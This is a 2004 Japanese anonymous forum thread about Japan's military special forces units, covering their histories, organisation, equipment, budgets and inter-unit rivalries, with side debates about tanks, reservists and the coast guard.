日本の軍事系特殊部隊を語ろう【警察NG】14

日本の軍事系特殊部隊について語るスレです。
部隊同士の比較、または一部の部隊を貶める発言は荒れる原因なので禁止します。
コピペ、コテハン叩きも禁止です。
尚、ここは「軍事板」ですので、警察（SAT等）を盲信している厨房の出入りを禁止します。
警察信者は、「警察板」、若しくは下記のスレに書きこんでください。

・日本の治安系特殊部隊を語ろう【第１治安】 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　http://hobby5.2ch.net/test/read.cgi/army/1087251838/l50

ここで主に扱われるべき部隊
・陸上自衛隊特殊作戦群 （特戦群・SOG）
・陸上自衛隊第一空挺団（空挺・１AbnB）
・陸上自衛隊西部方面普通科連隊 （西方普連・WAiR）
・陸上自衛隊対馬警備隊
・陸上自衛隊冬季戦技教育隊（冬戦教）
・海上自衛隊特別警備隊 （特警隊・SBU）
・海上自衛隊護衛艦付き船舶検査部隊（MIT）
・航空自衛隊航空救難団
・航空自衛隊基地防衛教導隊


前スレ
日本特殊部隊を語ろう【警察NG】第13SOG　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　http://hobby7.2ch.net/test/read.cgi/army/1087817592/l50

海外特殊部隊
海外の特殊部隊について語ろう！　８人目
http://hobby3.2ch.net/test/read.cgi/army/1078931203/l50

>>1
乙です。そして阻止！！

余裕の２！！！！

ププ

保守をかねてカキコ
ttp://www.jda.go.jp/jgsdf/image/iraq/160707a.jpg
イラク派遣部隊員の89式折り畳みストックおよびフォアグリップ付きの画像

ネタが無いので・・・
１Jさんの情報を書きこませていただきます（１Jさんごめんなさい。。。）

960 １Ｊ ◆KoxG3j4sWc ：04/09/06 21:13 ID:???
あんな事件が起きたからなのだろうか、いや訓練計画は事前に組んでいるからそれは
あり得ないな。しかし偶然もいいところだな・・
特戦群の市街地戦闘凄まじかったな。ありゃそーとー気合は入ってる。
あの手の事件が日本で起きても一安心だな。

962 ：１Ｊ ◆KoxG3j4sWc ：04/09/06 21:34 ID:???
>>961
詳しいことは（ry
部隊としてはかなりのレベルに達した見るべきかな。
むしろ問題は彼等の能力を最大限活かしきる各種の支援体制とさらにもう１歩踏み込んだ
>>963
普通の空挺服（戦闘服空挺用）ですよ。あの服装はもう中々見れない・・・殆ど屋内の訓練なら、どうなんかな？
ただ、個々人の装備品には自由度の高い選択をしている模様。
左大腿部に黒い・・・とか、背中には・・・な感じで。トライ＆エラー繰り返してるんでしょう。
統一感があるようでよく見ると結構雑多。



法体制と政治家（特に内閣の面々）の覚悟ぐらいか？

968 ：１Ｊ ◆KoxG3j4sWc ：04/09/06 22:17 ID:???
ところで。Ｍ４の薬莢受けどうすんのかな？ヤパーリ特注なんかな。
激しくボラれそうな悪寒・・・・
Ｍ２４にも薬莢受け追加装備で無かったし（つか、どうみても出来んなｗ）、５０もやっぱり無いんだろうな・・・
ちゃっちぃ蝉取りで５０の排莢に耐えれるのかな。
なんか余計な心配だなｗ
975 ：１Ｊ ◆KoxG3j4sWc ：04/09/06 22:43 ID:???
もしかしたら、もしかしたら、もしかしたら・・・・・
朝霞辺りで子鼠やゲル長官、Ｉ原しんたろー等（西村とかも居たらオモロそうｗぐんくつの音がぁｗ）の前を
戦闘覆い＆特攻服でパレードする特戦群・・激萌え〜
いや、俺の脳内希望なんだけどさｗ
いつの日か巡ってくるかも・・・・

M4カービンを装備しているのは特戦群とSBUだけか？
89Rよりもお手ごろな価格で購入可能かな？

やはりM4なのか
漏れ的には自営業閣下の作品に出てきた89式カービン？みたいな物を
期待してたのだが…

M4は世界の軍隊で採用されてるからな

89式小銃カービンの設計図を某イベントで見た時あります。

１J官さん
イラクに派遣されている特戦群の隊員の規模はどのぐらいなんでしょうか？

>>5
ttp://hobby7.2ch.net/test/read.cgi/army/1087279108/132

＞普通の空挺服（戦闘服空挺用）ですよ。あの服装はもう中々見れない・・・殆ど屋内の訓練なら、どうなんかな？
＞ただ、個々人の装備品には自由度の高い選択をしている模様。
＞左大腿部に黒い・・・とか、背中には・・・な感じで。トライ＆エラー繰り返してるんでしょう。
＞統一感があるようでよく見ると結構雑多。

ヘルメットは普通のテッパチですか？それともプロテック？

やっぱりＭ４か・・・
前スレの５２７みたいな厨のほうが情報が早いのは何故だ・・・
89式カービン激しくキボン。

＞＞６
駐屯地あるいは演習場という閉鎖された空間で、お膳立てされた状況の
訓練だけでは身につかない能力があるのだが…
自衛隊が一度も経験したことの無い「実戦経験」というものがね。

経験は、その中心から離れるほど希釈される。いくら米軍などから
ノウハウの提供を受けても薄いものにしかならない。

どんな名医の経験を学ぶよりも、自分で盲腸の手術をするほうが遥かに
豊富な経験則をもたらす。

自衛隊は手術室に入ったことすらないが−−−−−

>>17
少なくてもおまえみたいなヒッキ―よりも遥かに
優秀な集団だよ　特殊作戦群は

おまえの言うことが正しいのなら、世界の大半の特殊部隊
が使えないと言うことだな（w

GSGも危なくて投入できなかったろうな（ｗ

実戦経験云々・・・と言っている厨はなぁ・・・（プッ

>>17

どこまでが実戦経験？
船員が起こした暴動を鎮圧したのも実戦経験？
イラクで活動しているのも実戦経験？

実戦経験の定義がわからんのだが。。。。。

一つだけ言っておくが、どこの特殊部隊も最初は実戦経験は無いぞ。

KSKやJTF２なんかも初めての実戦経験をした際も無事に任務を遂行
できたぞ。

そもそも初めての実戦で失敗した特殊部隊はほとんど無いけどな。

陸上自衛隊第一空挺団

陸自最強の戦闘能力を持ち合わせている精鋭部隊。
第一空挺団は、団本部及び団本部中隊、普通科群、特科大隊、対戦車隊、施設隊、衛生隊、管理中隊、落下傘整備中隊等の後方支援隊、空挺教育隊から成っている。
第一空挺団に所属する階級が三曹以上の隊員は、過酷な空挺レンジャー課程に進むことになっており、第一空挺団の全隊員の７割が空挺レンジャー有資格者である。
空挺レンジャーの潜水課程等は、海自に委託教育されており、横須賀や江田島にて実施されている。
空挺レンジャーの偵察課程の敵施設襲撃訓練は、空自峰岡レーダーサイトを敵施設に想定し、行われている。
７０年代には、空自三沢基地で合同警備演習が行われ、空挺団側が敵兵役で、訓練開始１週間前から基地周辺に潜伏して訓練開始後３０十分程で制圧（判定）したという。

第一空挺団内には、海外での邦人救出を任務とする「誘導隊」という臨時編成部隊が存在する。
第一空挺団は、自衛隊に治安出動の命令があったとき、首都防衛を任務とする第一（政経中枢）師団と共に真っ先に現場に派遣される。
９８年頃に団本部内に、「新編部隊準備室」が創設され、「S小隊」と「G小隊」と呼ばれる特殊部隊準備研究小隊が発足し、特殊部隊運用の研究活動をしていた。
その後、ベテラン隊員中心に編成されていた「S小隊」は解散し、若手隊員中心に編成されていた「G小隊」の隊員を中心に特殊部隊編成作業が始まる。
今秋にも編成作業が完了し、今年末に「特殊作戦群」が発足する。
来年３月に、正式に対テロ・ゲリラ戦を任務とする「特殊作戦群」という３００名編成の特殊部隊として第一空挺団から独立して、防衛庁長官直轄の特殊部隊として正式に開隊する。
幹部要員は米陸軍の特殊作戦学校等の関連機関に派遣されており、デルタフォースとも交流がある。

●関連年表●

54年福岡県香椎の在日米軍基地内の空挺学校に空挺隊員候補の第１次研究員が
　　　入校し、空挺隊員についてのノウハウを学ぶ。
55年臨時空挺練習隊が創設される。
55年本部が香椎から千葉県習志野駐屯地に移転する。
56年改編され101空挺大隊が発足する。
58年レンジャー集合訓練開始する。
58年改編され第一空挺団が発足する。
62年第１期空挺レンジャー課程教育開始する。
85年群馬県御巣鷹山での日航機墜落事件で生存者を救助する。
95年山梨県上九一色村でのオウム真理教本部強制捜査で最悪な事態に備えて待機
　　　発令される。
98年団本部に「新編部隊準備室」が新設され、「G小隊」と「S小隊」と呼ばれる準備研
　　　究部隊が発足し特殊部隊の発足に向けての準備作業が始まる。
00年海外の紛争の際に海外在住の邦人を救出する為に誘導隊（臨時編成部隊）が
　　　創設される。
00年G小隊を中心に「新編準備隊」が創設され特殊部隊編成を開始する。
03年特殊部隊編成を完了し、対テロ・ゲリラ専門の特殊部隊「特殊作戦群」が創設さ
　　　れる。
04年対テロ・ゲリラ専門の特殊部隊「特殊作戦群」が第一空挺団から独立し、防衛庁長官直轄の部隊となり、正式に開隊する。

陸上自衛隊特殊作戦群

日本初の本格的特殊部隊。主な任務は対テロ・対ゲリラ。
隊員は、第一空挺団の空挺レンジャー隊員を中心に、全国の部隊のレンジャー有資格者で構成されている。
全隊員が空挺降下能力を有しており、水中浸透等の訓練もしており、まさに陸海空をまたにかけての任務を要することになる部隊である。
米陸軍特殊部隊「デルタ・フォース」を手本にしている為、幹部要員は米陸軍の特殊作戦学校等の関連機関に派遣され、特殊部隊運用のノウハウを学んだ。
部隊編成等は、デルタフォースに倣っているらしい。
隊員数は約300名で、戦闘要員は約２００名である。

発足時の編制は以下のとおり。（隊員数は約300名）

陸上自衛隊特殊作戦群（防衛庁長官直轄部隊）
群長（一等陸佐）
副群長（二等陸佐）
特殊作戦群本部
幕僚
第1科（総括、庶務等）
第2科（情報）
第3科（作戦立案、部隊運用、訓練計画）
第4科（補給）
群本部管理中隊（中隊長：三等陸佐）
（車両管理小隊、情報小隊、衛生小隊、通信小隊、装備研究小隊、補給小隊）
第1中隊（中隊長：三等陸佐）
1個中隊は中隊本部と4個小隊で編成。
1個小隊（小隊長は一等陸尉）は16名で編成（内、幹部隊員は2名）
16名で4名の班を4個編成する。
各小隊の4個分隊は突入、狙撃、支援等の分隊に分かれる。
第1小隊（自由降下）
第2小隊（水路潜入等）
第3小隊（山岳機動）
第4小隊（市街戦等）
第2中隊、第3中隊（第1中隊と同）

SBU：（エスビーユー）海上自衛隊特別警備隊

01年3月末、北朝鮮の不審船やゲリラ等に対応する部隊として、海上自衛隊に「特別警備隊（SBU）」が創設された。
創設の際に、同盟国である米海軍SEALsに訓練依頼をするが、「日程の都合」で断わられるが、代わりにイギリス海兵隊SBS（特殊舟艇隊）から訓練を受けて、ノウハウを学び創設にこぎつけた。SBSとは現在も交流がある。
本拠地は広島県の江田島に置かれている。
01年12月に奄美大島沖で発生した不審船事件の際に、政府が事件発生当日、海上警備行動の発令を想定し、SBUに出動待機するよう命じていた。
政府は、海上警備行動が発令されたとの想定で、SBUのオペレーション(軍事作戦)を行う方針を決め、後は、防衛庁長官の発令を待つばかりだったという。
実際はその前に、不審船が自沈した為、初出動は見送られた。
部隊編成は3個小隊編成で、隊員数約70名程度。
隊員の階級別内訳は、三尉以上の幹部が10名、残りは全員曹クラス。
空挺降下能力を持ち合わせている。
●関連年表●
99年不審船等への臨検を任務とする特殊部隊の創設を決定し、部隊編成を開始する。
00年米海軍SEALsに訓練依頼をするが、「日程の都合」で断わられるが、代わりに英海兵隊SBSから訓練を受ける。
00年部隊編成が完了し、不審船等への臨検を任務とする特殊部隊「特別警備隊」が創設される。
01年不審船等への臨検を任務とする特殊部隊「特別警備隊」が正式開隊される。
01年奄美沖での不審船事件で政府から「出動待機命令」が発令されるが、不審船が自沈した為に実際の出動は無かった。

1J官さん
>>22〜>>26の記述の中で間違っている箇所ありますか？

実戦に勝る訓練は無い、という事実は確かだけどな。
さまざまな教訓を与えてくれる。

>>27
＜２２
普通科群→３個普通科大隊
対戦車隊→今はもう無い
施設隊→施設中隊
団本部中隊通信小隊→通信中隊
衛生隊→後方支援隊衛生小隊
管理中隊→後方支援隊整備中隊
空挺教育隊は空挺団の部隊では無く、長官直轄（実質陸幕の指揮下）の学校として扱われている。
後は概ねその通り。

>>28
ですね。団内でもイラクに行きたいと熱望してる人もいますし。
勘違いしてるなｗ復興支援なのに・・
現地で銃撃戦等に巻き込まれる可能性は各国駐留軍に比べて「まだ」低いのに。
今はまだＦＴＣや米軍との共同訓練でお茶を濁すしかないですね。

甜菜
朝雲　平成１６年９月２日号
　　１７年度業計　主な内容
【基本方針１関係】
◇ゲリラや特殊部隊の侵入への対応（３８１億円。１６年度は２６０億円）
ゲリラや特殊部隊の侵入対処について、沿岸部等における警戒監視、侵入した特殊部隊等の捜索、捕獲・撃破、重要施設防護等に
ついて対処能力の向上を図る。その際、警察等関係機関との連携を図る。
１７年度は、特に沿岸監視能力の充実・強化、重要施設等の防護能力の強化、捕獲・撃破の
為の対人戦闘能力等の向上を重視する。
�@沿岸部における警戒監視・情報収集
　沿岸監視能力の充実・強化＝移動レーダー等の整備、沿岸監視訓練の実施。
　離島部における警戒監視能力の強化＝離島対処訓練の実施。
�A侵入したゲリラや特殊部隊の捜索、重要施設等の防護
　初動捜索能力の強化＝各種車両、ヘリコプター、無線機の整備、初動対処部隊の情報収集・伝送器材の整備。
　重要施設等の防護能力の強化＝施設防護器材の整備、重要施設防護のための訓練の実施。

甜菜の続き
�B侵入したゲリラや特殊部隊の捕獲・撃破
　市街地戦闘に係る派米訓練成果を各部隊に普及するための訓練の実施。
　各種訓練用施設等の整備＝都市型の訓練施設の整備Ａ、◎至近距離射場（覆道式、東方）の整備、
　◎閉式戦闘訓練教材等の整備、普通科部隊戦闘射撃訓練シュミレータの整備。
　夜間戦闘能力の強化＝個人用暗視装置の整備、◎新近距離照準用暗視装置の充足。
�C警察との連携の強化
　治安出動に係る警察との共同訓練。

でもＭＤに予算食いすぎ・・・・
１４４２億円＞１７年度
１０６８億円＞１６年度
野砲は？戦車は？戦闘機は？護衛艦は？
ほんとに大丈夫なんか？？？

>>21
禿同！

護衛艦や戦闘機は必要だと思うけど、
戦車や野砲は必要なのかな？

いるから持ってる

戦車や野砲は簡単には動けない。
たかだか３００ｋｍ移動するのに高速使って４，５時間かかる。高速でだよ。
実戦になれば１００パー高速なんか使えない（下手すりゃ主要国道ですら危険）
空からあぼーん、特殊部隊が道路をあぼーん、巡航ミサイルであぼーんとかとか。
東北から山陰まで行け！っていわれても陸路じゃ恐ろしく時間がかかる・・・
本土決戦なんだから海路もまして空路なんか使えない。
だから各地域に一定数の貼り付け配備が必要。で将来６００両の戦車の半分は海の向こうの
北海道。残りの３００どう配分するの？えっ！？２０１０年まで戦車作らない！？
下請け、孫受けの業者潰れるぞ・・・
野砲に至ってはもっと深刻だ。全部が自走なら多少はましだが殆ど牽引。
道路を選ぶんですけど・・・で、その道路は敵に確実にマークされてるとみるべき。
損耗も考えてある程度、数が必要。

90式の調達の中止は上がっているがF-2より信憑性は
劣るな

というか野砲だの戦車だの話は他スレでヨロ

自衛隊には各駐屯地に、米のSRTにあたる部隊ってあるの？

>>34
＞戦車や野砲は必要なのかな？
火力が強ければ有利。
戦場では生身よりかは何かあったほうがいいよね。

予備自衛官をもっと増やすべきだな。
問題なのは、彼らは普段民間企業で働いていると言うことだ。
警察の機動隊に籍を置かせてもらってはどうかな？

機動隊はダメだろ。

>>41
警察は人手不足なので、機動隊の半分を交番勤務などに廻して、半分の補充を予備自衛官
で補えば良いかと。
どうせ、有事の際以外は役に立たないのが呼び自衛官なんだから、平時の際も役だって
もらんと。

機動隊の錬度ってそんなに低かったんか…？

あほか。
殺気立った避難民を誘導するのは警察の仕事だろ。
正面戦力だけ考えるなよ。

民間企業は、予備自衛官の召集訓練等に対して非協力的だから、警察や消防の方が
理解があるかと思うが。

>>44
それだけなら民間の警備会社に一時就職させてやりゃいいだけじゃねぇのか？

>>42
警察は自衛隊にすら残れなかったハンパ者の託児所ではありません。

警察と軍隊の境目が曖昧な発展途上国じゃないんだから
警察なら警察で職務にあった独自の厳しい訓練がありますね。
つか軍隊系スレの矢先でこんなことになっちゃった。

未だに>>42みたいな香具師がいるなんて…
天然記念物級ですな

>>47
予備自衛官はハンパ者なんですかそうですか

この流れだと国家憲兵や軍警察の話が出てくるのかな？

>>50
補充したての予備自衛官なんてハンパ者もいいところです。

>>52
喪舞よりははるかにマシだけどな

>>53
基礎訓練は受けるだろうから当然だろ？

何言ってんの？

まぁ、痛い>>42はほっといて…

日本の駐屯地に、米のSRTにあたる部隊ってあるの？
駐屯地内での犯罪に対抗する特集部隊と言うか。

>>54
すまんが…
キミも何言ってんの？

>>56
予備自衛官と予備自衛官補を混同してた。すまんね。

なんか新しい迷彩服テストしてるみたいですね。

お米の国でも新しいのが採択されたみたいだ。

米の国のってCM誌でやってたあの薄青いやつですか？
本当にあれで森林に隠れられるんですかね？

ありゃアーバンカモとは違うんか？

あれ？そうでしたっけ？
あんまり記事を読んでなかったかも。

いや、よく知らんが…
確認してくれ。

http://www5.big.or.jp/~hellcat/news/0406/15a.html

もう写真は出ないがアーバンカモみたいな感じ。
まあ、スレ違いなんでこの話題はこのへんで。

1Ｊ官さんに聞きたいのですが
空挺団の中の（特に若い）人たちにいつかは特戦群に入るという意識は感じられますか？
また御自身は志願なさったりしているのでしょうか？
1Ｊ官さんは素直に特戦群を尊敬されてるようですが
要員をかなりくりぬかれてアンチもいる空挺側はどんな空気なのかなーと思いまして。
答えにくかったらスルーしてください。

＞＠対ゲリラの治安出動想定、防衛庁と警察庁が共同指針
＞
＞武装ゲリラに対応する自衛隊の治安出動に備え、防衛庁と警察庁は９日、
＞連携強化のための「共同対処指針」を定めた。武装ゲリラに対処する際の
＞役割分担は、２０００年に協定が改正されて盛り込まれたが、具体的な
＞指針作成は初めて。
＞（後略）
ttp://headlines.yahoo.co.jp/hl?a=20040909-00000204-yom-soci
海保と海自の連携はうまくいっていないみたいだけど、
防衛庁・自衛隊と警察庁ではどうかなァ。
西欧以外では、軍と警察は仲が悪いものだしな.

海上自衛隊と海上保安庁はうまくいっているかどうかは別として
合同訓練の回数だけはこなしてるみたいよ。

少なくとも、ほとんどの海上保安官は海上自衛隊との何らかの合同訓練経験を
持っているんじゃないかな。
警察官で陸上自衛隊と合同訓練を経験している人って機動隊員を除けば少ないんじゃ？

>>37
了解。なんだがちょっと言わしておくれ。
特戦や空挺は全国に展開する軽歩兵部隊なのね。でだ、自前の火力には自ずと限界があるわけだ。
例えばどっかの国が日本にゲリラを送り込んできて出動する、とりあえずゲリラ達は山中に逃げ込んだとしようｗ
当然包囲する部隊は警備担任区域の部隊だわな、包囲線を形成する普通科連隊は師・旅団の各部隊から支援を得る。
その中には当然戦車や特科部隊も含まれる。１個連隊に１個特科大隊が直協で付く、
Ａ連隊にはＡ大隊、Ｂ連隊にはＢ大隊・・・・と続く、特科連隊にはもう一つ他大隊より少し規模が大きい大隊がある。
師団全体をカバーする予備特科火力ね。恐らくは現地の部隊だけでは人手不足になるだろうから
特戦空挺が支援で送り込まれる可能性がある。自前の重火器は精々１２迫や無反動砲ぐらい。
はっきり行って貧弱。直接照準火器は位地を暴露する恐れがあるから簡単には使えない。
やっぱり間接照準火器に頼る訳だ、基本的に自前の火力だけで何とかするのが自衛隊の信条（哀）
空挺ですら１２迫が最大、特戦に至ってはさらに・・
ここで師団に火力支援をお願いするんですね。どこがやってくれる？
連隊戦闘団に組み込まれた特科には期待できない（セクショナリズムの弊害）やってくれそうなのは
対戦車ヘリか全般支援の特科大隊。へリは直接照準になるので却下、残るは特科のみ。
定数削減されたら真っ先にこの部隊が大幅に削減か廃止になるかも？
もしそうなったら何処に泣きついて火力支援求めればいいの？戦闘団？気前良く差し出してくれるかな・・・
「面子」ってやっかいなのがあるからさ・・・
数が少なくなるってことはそれだけ選択肢が限られてくる、相手側も対策を立てやすくなる。

できることなら何時でもどっからでも必要な部隊を使えればいいだけど。
護衛艦からの艦砲射撃やＦ１５・Ｆ２その他航空機からの空爆なんかが出来るようになれば。
減らすなら減らすで柔軟な運用が出来るように本気で取り組んで欲しい。
いざ、出来ませんじゃお話にならない・・・
スレ違いだが特殊部隊の運用にとっては意外と重要な問題。

>>64
個人的な意見ですが・・・
　
　特　戦　群　は　習　志　野　駐　屯　地　か　ら　出　て　行　け　！！
　
冗談抜きで。
演習場に新しく駐屯地作って移ってくれ！無理なら朝霞でも相馬でも富士でもいいからさ。
狭い駐屯地にこれ以上場所を取らんでくれ・・・・
若い子達は興味あるみたい＜新隊員とか転属者・・・まずおまいらの中から何人陸曹になれると思ってる・・・・・
それだけでも厳しいのに、更に・・・
ま、こんなもんですわｗ
みんなマターリしたいんだわ、だってｺｳﾑｲｿだからｗ
だいたい給料空挺と同じってドウイウコト・・・

追記
２ちゃんに書き込んでる時点で入隊は無理。
絶対に情本や保全隊にマークされてる・

1J氏の話はリアルだなぁ…

>>68のレスではっきりした事は
１Ｊ氏は
・特戦群や空挺ではない
・陸曹ぐらいの幹部?
・習志野勤務

という事は・・・

＞68−69

早速のご回答ありがとうございます。

＞２ちゃんに書き込んでる時点で入隊は無理。
＞絶対に情本や保全隊にマークされてる・

（(；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
毎度毎度体を張ったネタフリありがとうございます。
だけど余計なお世話ですが首にならない程度に留めておいてください。

しかし空挺にはいれる士って自然に曹になるだろうから
空挺は陸曹枠多いんだろうなーと考えてましたが
最近は結構厳しいもんなのですね。

特戦群が豊川に来れば毎日見に逝くのだが。

>>71
１Jさんは空挺隊員だよ。

>>１Ｊ氏
(ﾟДﾟ)ﾚﾝｼﾞｬｰ

レンジャーと聞くと
「バラモンバラモンナイスレンジャー！バラモンバラモンガッツレンジャー！」
ばかり思い出す。

バラモンって何か意味あるんかな？

バラモンっていうのは五島の表現で｢荒々しく向う見ず」とか「活発な、元気のいい｣という意味。
特に兜をくわえた鬼が描かれたバラモン凧が有名。
ttp://www.npp-unet.ocn.ne.jp/tikihanasi/9fukue/baramon.htm

>>78
レスｻﾝｸｽ
ちゃんと意味があったのね

WAiRってレベル高いの？

高いという話だ。

SBUってレベル高いの

特殊部隊といったら、203高地の白たすき隊でしょう。レトロな小銃に
萌え。

不審船工作船対策は海自に全面的任せた方が正解だね
臨検隊の不測事態支援能力
海保＝・ヘリからの８９式による支援
　　　・巡視船より狙撃支援
　　　・巡視船搭載のＲＦＳ，３５，４０ｍｍによる火力支援
　　　・高速艇によるＭ２間接支援
海自＝・ヘリからの８９式による支援
　　　・へリ自体による７．６２ｍｍ機銃による支援
　　　・護衛艦から狙撃支援
　　　・護衛艦搭載のＭ２，２０ｍｍ、７６ｍｍ、１２７ｍｍによる圧倒的火力支援
　　　・搭載艇によるミニミ、６２式による間接支援
　　　・空自戦闘機によるエアーカバー
　　　・対象国戦闘艦艇に対する圧倒的制圧能力
よって工作船に対しては海自が担当するのが妥当
またＭＩＴに関してはまだまだ能力不足（特に海警行動、有事の際の臨検に関しては
不測事態対処能力がかなり低い）ＳＢＵも人数が限られておりすべての臨検にＳＢＵ
を投入することはできないでしょう、よって現在１ＭＳＳで行われている立ち入り検査
課程の改善強化（実際腕力のある船員一人取り押さえる能力すら無い）

('A`)誤爆ｶﾖ

MIT最弱

>>17
こいつ天然記念物のヴァカだな（プッ

銃も満足も撃った事も無いヒキヲタが現役の１J官さんの見解に文句つけるとは

最近海保入隊希望者が増えているとか、やはりＳＳＴ効果か良質な隊員募集効果絶大だったね
ＳＡＴマガジンやプレイボーイの記載、ＳＢＵも何らかのアピールしないと優秀な人材こないよ

海猿効果じゃないの？

>最近海保入隊希望者が増えているとか、やはりＳＳＴ効果か良質な隊員募集効果絶大だったね
>ＳＡＴマガジンやプレイボーイの記載、ＳＢＵも何らかのアピールしないと優秀な人材こないよ

単なる不景気による‘公務員人気‘なんじゃないの？
自衛隊でさえも倍率高くなってるし。

海自はSBUをアピールする気は無いと思うよ。
「手の内を隠すことが敵に備えること」というSBS直伝の方針を貫いているんだろうね。
SBUに関して言えば、水中処分隊と言う優秀な人的プールに恵まれているからね。
訓練環境も良好だし。

>>90
水中処分隊と言えば
昔米海軍の特殊作戦学校に派遣されて爆破工作や上陸偵察なんかを学んでいたね。
現在はSBUが継承しているのかな？
水中処分隊がファストロープ降下を習得しているのは意外だけど。

>>90
海保入隊希望者が増えているのは単純に海猿の映画が大ヒットしたことによる
にわかファンが映画にあこがれて入隊希望に殺到してるだけ。ブームが終わればまた減少していくだろ。

>>88-90
海猿人気に一票。海猿見たことないからしらないけど、人気なんでしょう？

世間一般の海保の認知度は
ttp://www.tanteifile.com/tamashii/scoop_2004/06/15_01/
＞困る事はありますか？
＞いまだに海上自衛隊と間違えられること。自分の職業を説明するのに、
＞海上保安庁と自衛隊の違いから説明しなければならない。
こんなもんでしょう？
認知度を上げるために、小中学校の教科書で海保について教えてもいいのではと思う。

漏れは「海保に入りたい！」という人達の気持ちがよくわからん。
海保は海自に比べて知名度が低いし、慢性的な人員不足で扱き使われそうだし、
海自のイージス艦のような目玉が無いし、海自のような純白の詰折のカッコイイ
制服がないし、いまいちだよ。

>>94
知名度やカッコよさを理由に志願理由を決める藻前に萌え

知名度やカッコよさを基準にする藻前に萌え

ですなw

んじゃ、「ジパング」アニメ化、「亡国のイージス」映画化される海自も人気でるのか？

>>97
アニメのジパングは同じく見たことないからしらないけど、
亡国のイージスは『人気が出れば』、海自も一時的に人気が上がると思うよ。

>>98
某国のイージスは微妙だな。海猿は漫画もさることながら
映画自体も流行の役者使ってで恋愛を絡めた爽やか映画だったからな。
ウォーターボーイズのノリに近いものがあったしな。だから中、高生に人気
が出たのかも知れんが。某国のイージスはちとマニアックすぎる。

北鮮工作員を気持ちよく射殺しまくりな展開なら萌え。

亡国のってどういう話なんだ？
イージスというタイトルがいかにも
ファミコンだのITだのと同じ語感で使ってそうで嫌だが。

>>94
海保って純白の制服なかった？
見た記憶があるけど

無いよ。
少なくても公務員の制服の中では、帝国海軍からそのまま受け継いでいる海自の詰折制服が一番カッコイイね。

海自の制服一覧ね。
　　　↓
http://w2.avis.ne.jp/~jsdf-nag/kaiseifuku.HTM

こっちは空自の制服一覧
http://w2.avis.ne.jp/~jsdf-nag/kuuseifuku.HTM

>>101
息子を防衛庁の諜報機関に殺された海自の護衛艦艦長が、
米軍の新型大量破壊兵器持ち出した北の工作員と組んで反乱を起こすって話。
護衛艦はイージスシステムを積んだ改修型。
ハープーン燃え。

上下二巻で反乱を起こすまでが長くて殆ど一巻まるまる使う。
自衛隊と警察のどろどろしたやりあいやら隠蔽体質やら、
スパッと気持ちいい海軍漫画になれてる人には辛いかもしれん。

映画「海猿」って全然ヒットしてないじゃん。

映画にタイアップしたカップラーメンは不評だったね。
近くのスーパーで７０円で叩き売りされてたよ。

どうせなら、SST隊員を主役にした映画を作って欲しかった。

>>106
この映画にSBUは出てきますか？

特殊作戦群及びSBUの記事が載っているぜ。

http://202.221.217.59/print/news/nn03-2004/nn20040330a4.htm

>>１０８
漏れ頭悪いのでやくせないけど。
誰か日本語に訳せる人いまつ？

プレイボーイに陸自の狙撃要員の記事が載っていたよ。

AERAと言いやたらみんな気になるらしいな。
スナイパーと言う存在が認知されてるからだろうか。

>>109
Exciteやinfoseekで翻訳できるよ。
例えば
honyakuinfoseek.infoseek.co.jp/AmiWeb?ami_url=http://202.221.217.59/print/news/nn03-2004/nn20040330a4.htm&ami_src_lang=EN&ami_tar_lang=JA&ami_dis=2&ami_dict=general&ami_font_col=009933

と思ったら直リンクややっぱりダメみたい。。。当たり前か。
自分で各サイトで翻訳して下さい。

(´∀｀＃）WAiRタン、ハァハァ
ttp://militaryroom.chips.jp/myweb001001.jpg

>>68
遅レスですまんが。。。。はっきり言えば？
特戦群は空挺団からは部隊として見下されてるって。
無理ないけどな。

海保の制服一覧ね。
　　　↓
http://www.kaiho.mlit.go.jp/gallery/uniform/

http://ocn.amikai.com/amiweb/browser.jsp?url=http%3A%2F%2F202.221.217.59%2Fprint%2Fnews%2Fnn03-2004%2Fnn20040330a4.htm&langpair=1%2C2&c_id=ocn&lang=JA&toolbar=yes&display=2

>>115
見下してるんじゃなくて、特別扱いしすぎなのが気にいらねえんじゃない？
まあ、マル特なんて普通そんなもんなんだが。
特戦は他の隊と比べて大所帯だからよけい場所を取るしな。
それより訓練きついのに空挺と給料同じってのはマジか？
空挺もきついかもしれんが、チョットでも差をつけてやらんとなり手いなくなっちゃうぞ。

>>109
上の117のところは直リンクで訳してくれるよ。
日本語になるかどうかは不明だけどね。

>>118
現時点ではなり手はいくらでもいる。
むしろ１０年２０年後にボディブローの様に不平不満が出てくるかも。
今はまだ創成期だから遣り甲斐があるそうだが、自衛隊が自衛隊のままで居続ける限り
業務（敢えて業務と言う）のマンネリ化は避けがたいと思う。空挺ですら１年を通じて流れ作業をこなすだけの日々・・・
　
後あれだ。空挺団に勤務したこと無い者が他の在習志野の部隊に勤務すると明らかに浮いて見える。
だからかな？

>>118
ああ、後ね。
＜特別扱いなのが気に入らない・・・
そうです。今まで一般部隊が味あわされてきた歪んだエリート意識が我が身に降りかかってきたｗｗｗ
特戦の爪の垢でも煎じて呑め！空挺。

なんかこう駄目なんだ空挺の雰囲気が・・・自分たちのやり方が１番だと勘違いしてる。
他部隊にいけばもっといい仕事のやり方がいくらでもあるのに・・・完全に見下してる。
そんなんじゃ駄目なんよあんたら・・・

アンチＳアンチ空挺・・・
漏れもうだめぽ・・・・

ところでソ連の脅威がなくなった今、空挺自身も変わるべき時なのではないの？

だから特殊作戦群ができたんじゃないか…
空挺部隊は時代遅れ。
SOGの創設で士気が下がるという意見もあったが
有効に資源が使われなきゃしょうがないね。

日本には空挺部隊（それも実質連隊規模）は1個しかないからなぁ…。

実際のところ空挺団の第一の存在意義は
空挺降下技術の維持と本当にその技術が必要な部隊（特殊部隊や空自のメディック）
への教育部隊の存続とその為の人的資源のプールでしょう。

実戦で空挺部隊を有効に活用させる意志も気概も
防衛庁の上の人にはないんでないか。

米国がレンジャー連隊を重宝していることを思えば、空挺団も使い勝手がいいんじゃないかな。
歩兵部隊と特殊部隊の中間的存在として、マルチに使えるユニットは必要でしょう。

同じような事が冬戦教にもいえる訳だが。
今じゃほとんどメダル対策部隊だもんなあ。

うーん、仲悪い話あるようだが評価支援隊もいろいろ苦しんでいるのか？

本来の任務である「空挺」が完全に時代遅れなのは間違いないと思うけど。

詳しい人がいるみたいなので質問です
・特殊作戦群に入隊するのに必要な視力はどれくらいですか？
